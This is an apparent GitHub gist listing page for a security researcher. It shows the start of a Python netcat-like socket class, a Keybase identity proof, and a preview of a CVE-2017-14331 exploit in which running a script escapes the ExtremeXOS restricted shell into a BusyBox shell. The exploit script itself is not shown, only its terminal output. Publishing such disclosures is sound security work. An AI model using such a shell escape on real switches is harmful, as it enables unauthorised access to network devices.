Skip to content

Instantly share code, notes, and snippets.

@cmaruti
cmaruti / netcat.py
Created August 30, 2021 16:22
Python 3 netcat-like object
import socket
class Netcat:
""" Python 3 netcat-like object """
def __init__(self, ip, port):
self.buff = b""
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@cmaruti
cmaruti / [Telco] CVE-2017-14331
Last active December 16, 2022 15:09
ExtremeXOS 16.x, 21.x, and 22.x exsh restricted shell escape
EXTREMEXOS # run script shell.py
BusyBox v1.13.4 (2017-05-16 09:14:18 EDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/exos/bin $ uname -a
Linux s-1 2.6.28.9-summit_sibyte #2 SMP Tue May 16 09:15:38 EDT 2017 mips unknown

Keybase proof

I hereby claim:

  • I am cmaruti on github.
  • I am cmaruti (https://keybase.io/cmaruti) on keybase.
  • I have a public key whose fingerprint is 2B06 65E0 647D 494A 0B12 9B48 41F5 BA3B 12D1 114A

To claim this, I am signing this object: